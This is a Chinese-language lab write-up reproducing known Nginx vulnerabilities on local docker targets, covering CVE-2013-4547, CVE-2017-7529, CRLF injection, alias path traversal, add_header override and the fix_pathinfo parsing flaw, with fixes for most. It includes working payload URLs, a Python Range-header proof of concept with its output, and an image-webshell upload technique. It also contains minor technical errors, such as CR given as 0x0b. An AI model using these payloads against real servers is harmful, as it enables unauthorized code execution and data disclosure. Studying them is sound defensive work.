Nginx漏洞复现

前言

Nginx 是一款轻量级的 Web 服务器、反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个 BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上 nginx 的并发能力确实在同类型的网页服务器中表现较好。

文件名逻辑漏洞(CVE-2013-4547)

漏洞说明

影响版本

1

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

漏洞说明

这个漏洞其实和代码执行没有太大关系,其主要是因为错误地解析了请求的 URL ,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子

Nginx匹配到 .php 结尾的请求,就发送给 fastcgi 进行解析,常见的写法如下:

1

2

3

4

5

6

7

8

location ~ \.php$ {

include fastcgi_params;

fastcgi_pass 127.0.0.1:9000;

fastcgi_index index.php;

fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;

fastcgi_param DOCUMENT_ROOT /var/www/html;

}

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析

而存在CVE-2013-4547的情况下,我们构造payload:http://127.0.0.1/test.jpg[0x20][0x00].php

注意: 0x20指 (空格)、 0x00指\0(截止符)、 还有一个0x2e指分隔符

这个URL可以匹配上正则 \.php$ ,可以进入这个Location块;但进入之后,Nginx却错误地认为请求的文件是 test.jpg[0x20] ,就设置其为SCRIPT_FILENAME的值发送给 fastcgi 。

fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子

比如很多网站限制了允许访问后台的IP:

1

2

3

4

location /admin/ {

allow 127.0.0.1;

deny all;

}

我们可以请求如下URL: /test[0x20]/../admin/index.php ,这个URI不会匹配上location后面的 /admin/ ,也就绕过了其中的IP验证;但最后请求的是 /test[0x20]/../admin/index.php 文件,也就是/admin/index.php,成功访问到后台。

注意:这个前提是需要有一个目录叫test :这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞复现

启动漏洞环境:

1

2

docker-compose build

docker-compose up -d

靶机IP: 192.168.220.141

环境启动后,访问http://192.168.220.141:8080/即可看到一个上传页面。

Nginx漏洞复现_第1张图片

这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个123.jpg ,注意后面的空格

Nginx漏洞复现_第2张图片

上传成功,尝试去该路径下访问“123.jpg ”文件,界面报404错误

Nginx漏洞复现_第3张图片

上传的文件找不到,是因为浏览器自动将空格编码为%20,服务器中找不到名为“test2.jpg%20”的文件

接下来,我们想要上传的jpg文件作为php解析,就需要利用未编码的空格和截止符(\0)进行构造,构造请求如下:

1

2

http://192.168.220.141:8080/uploadfiles/test.jpgAA.php

#AA只是起到占位的作用

发送请求并使用burpsuite抓包。使用burpsuite将AA分别更改为20(空格)、00(截止符\0)

这样我们发送的请求就变为:

1

http://192.168.220.141:8080/uploadfiles/test.jpg[0x20][0x00].php

Nginx解析后,将“test.jpg ”文件当做php文件解析。

越界读取缓存漏洞(CVE-2017-7529)

漏洞说明

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括 “文件头”+“HTTP返回包头”+“HTTP返回包体” 。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

漏洞复现

1

docker-compose up -d

靶机IP: 192.168.220.150

访问 192.168.220.150:8080 ,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。

调用python3 poc.py http://your-ip:8080/,读取返回结果:

poc.py(基于python3)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

#!/usr/bin/env python

import sys

import requests

if len(sys.argv) < 2:

print("%s url" % (sys.argv[0]))

print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))

sys.exit()

headers = {

'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"

}

offset = 605 # 可以修改

url = sys.argv[1]

file_len = len(requests.get(url, headers=headers).content)

n = file_len + offset

headers['Range'] = "bytes=-%d,-%d" % (

n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

print(r.text)

执行结果:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

root@kali:~# python3 poc.py http://192.168.220.150:8080/

--00000000000000000006

Content-Type: text/html; charset=utf-8

Content-Range: bytes -605-611/612

’;A]b`RY:9A]r«\me"59526062-264" ##

KEY: http://127.0.0.1:8081/ ## 缓存文件头

## HTTP返回头

HTTP/1.1 200 OK

Server: nginx/1.13.2

Date: Wed, 31 Jul 2019 06:46:18 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 612

Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT

Connection: close

ETag: "59526062-264"

Accept-Ranges: bytes

Welcome to nginx!

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and

working. Further configuration is required.

For online documentation and support please refer to

http://nginx.org/">nginx.org.

Commercial support is available at

http://nginx.com/">nginx.com.

Thank you for using nginx.

--00000000000000000006

Content-Type: text/html; charset=utf-8

Content-Range: bytes -9223372036854773979-611/612

可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

配置错误导致漏洞

1

docker-compose up -d

运行成功后,Nginx将会监听8080/8081/8081三个端口,分别对应三种漏洞。

1

2

3

1. CRLF注入漏洞

2. 目录穿越漏洞

3. add_header被覆盖

CRLF注入漏洞

漏洞说明

CRLF是回车换行(\r\n)的简称,其十六进制的编码分别是0x0b和0x0a。

在http协议中,http消息头以明文的字符串格式传送,以冒号分隔的键/值对,如:Accept-Charset: utf-8,每一个消息头以回车符(CR)和换行符(LF)结尾。而在http消息头结束后,会使用两个连续的CR-LF来进行标识,用来分隔http 消息头 和 http 消息体(请求或响应的内容)。

当一个网站使用https协议的时候,很多站点会强制用户使用https进行访问。当用户访问http的时候会302跳转到https页面。

如果使用了 $uri来进行配置,可能会导致CRLF注入漏洞

Nginx中错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

1

2

3

location / {

return 302 https://$host$uri;

}

nginx中 \$uri 指的是请求的文件和路径,不会包含后面请求的数据(即?和#后面的数据)

nginx服务器会对 $uri 进行解码。当我们在传入的参数后面加入urlencode之后的换行符 %0d%0a ,我们就可以污染HTTP头的数据

举个例子

访问http://your_ip/302/123会302跳转到https://your_ip/302/123。这是正常的跳转。

但是由于配置文件里面使用的是$uri,会对我们传入的参数进行转码,当我们访问http://your_ip/302/123%0d%0a%0d%0atest=1时,302跳转会指向https://your_ip/302/123并且POST一个参数 test=1

漏洞复现

正常发送请求

Nginx漏洞复现_第4张图片

漏洞利用

  1. 会话固定

构造payload

1

http://192.168.220.150:8080/%0d%0aSet-Cookie:%20session=hacker

Nginx漏洞复现_第5张图片

可以从响应包中看出,我们利用该漏洞成功了控制了cookie

  1. 反射型XSS

构造payload

1

http://192.168.220.150:8080/%0d%0a%0d%0a src=1 οnerrοr=alert(/xss/)>

Nginx漏洞复现_第6张图片

我们可以看到响应包中,标签已经插入页面中,但是由于浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。

怎样才能关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

还没成功!!!

漏洞修复

Nginx获取用户请求路径时,有三个可以表示uri的变量:

  • $uri:表示解码以后的请求路径(不带参数)

  • $document_uri:表示解码以后的请求路径(不带参数)

  • $request_uri:表示完整的uri,没有解码

所以修复该漏洞,我们需要将配置文件改为:

1

2

3

location / {

return 302 https://$host$request_uri;

}

参考

  1. https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

  1. https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

目录穿越漏洞

漏洞说明

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

1

2

3

location /files {

alias /home/;

}

漏洞利用

访问files目录,构造payload:

1

http://192.168.220.150:8081/files

Nginx漏洞复现_第7张图片

目录穿越到根目录,构造payload:

1

http://192.168.220.150:8081/files../

Nginx漏洞复现_第8张图片

此处留下一个疑问,能不能穿越到其他目录???

漏洞修复

将/加在files后:

1

2

3

location /files/ {

alias /home/;

}

add_header被覆盖

漏洞说明

Nginx配置文件子块(server、location、if)中的 add_header ,将会覆盖父块中的 add_header 添加的HTTP头,造成一些安全隐患。

如下列代码,整站(父块中)添加了CSP头:

1

2

3

4

5

6

7

8

9

10

11

add_header Content-Security-Policy "default-src 'self'";

add_header X-Frame-Options DENY;

location = /test1 {

rewrite ^(.*)$ /xss.html break;

}

location = /test2 {

add_header X-Content-Type-Options nosniff;

rewrite ^(.*)$ /xss.html break;

}

但/test2的location中又添加了 X-Content-Type-Options 头,导致父块中的 add_header 全部失效

Nginx漏洞复现_第9张图片

解析漏洞

漏洞说明

Nginx解析漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于“security.limit_extensions”的引入,使得该漏洞难以被成功利用。

当用户请求的url后缀为123.jpg/123.php时,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由Nginx生成的$fastcgi_script_name决定。

1

2

3

4

5

6

7

8

9

10

location ~ \.php$ {

fastcgi_index index.php;

include fastcgi_params;

fastcgi_param REDIRECT_STATUS 200;

fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;

fastcgi_param DOCUMENT_ROOT /var/www/html;

fastcgi_pass php:9000;

}

而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。

一般情况下cgi.fix_pathinfo的值默认为1,也就是开启,从而引发该漏洞。当Nginx遇到文件路径“123.jpg/123.php”时,由于其后缀为.php文件,所以会被传到上述所示代码中,在查找文件时,若“123.jpg/123.php”不存在,则会去掉最后的“123.php”,然后判断“123.jpg”是否存在,若存在,则把“123.jpg”当做php解析。

漏洞复现

1

docker-compose up -d

靶机IP: 192.168.220.151

Nginx漏洞复现_第10张图片

这是一个文件上传页面,我们先写一个phpinfo函数,将其保存为test1.jpg,上传该文件,页面响应如下:

Nginx漏洞复现_第11张图片

抓包更改后,文件被重命名,并上传成功!

Nginx漏洞复现_第12张图片

接下来我们去尝试访问该文件,文件打不开

根据文件解析漏洞,我们构造payload格式如下:

1

http://192.168.220.151/uploadfiles/重命名.jpg/.php

1

http://192.168.220.151/uploadfiles/重命名.jpg/重命名.php

Nginx漏洞复现_第13张图片

这里可以直接上传图片马。

漏洞修复

  1. 修改php.ini,设置

1

cgi.fix_pathinfo = 0

  1. 在Nginx的配置文件中添加

1

2

3

if ( $fastcgi_script_name ~ ..&/.*php ) {

return 403;

}

  1. 前两种方法可能会导致一些伪静态网页或者特殊的路径无法显示。第三种方法将以下代码写在fcgi.conf文件中

1

2

3

4

5

6

if ($request_filename ~* (.*).php) {

set $php_url $1;

}

if (!-e $php_url.php) {

return 403;

}

你可能感兴趣的:(前端,漏洞复现,nginx,前端,安全)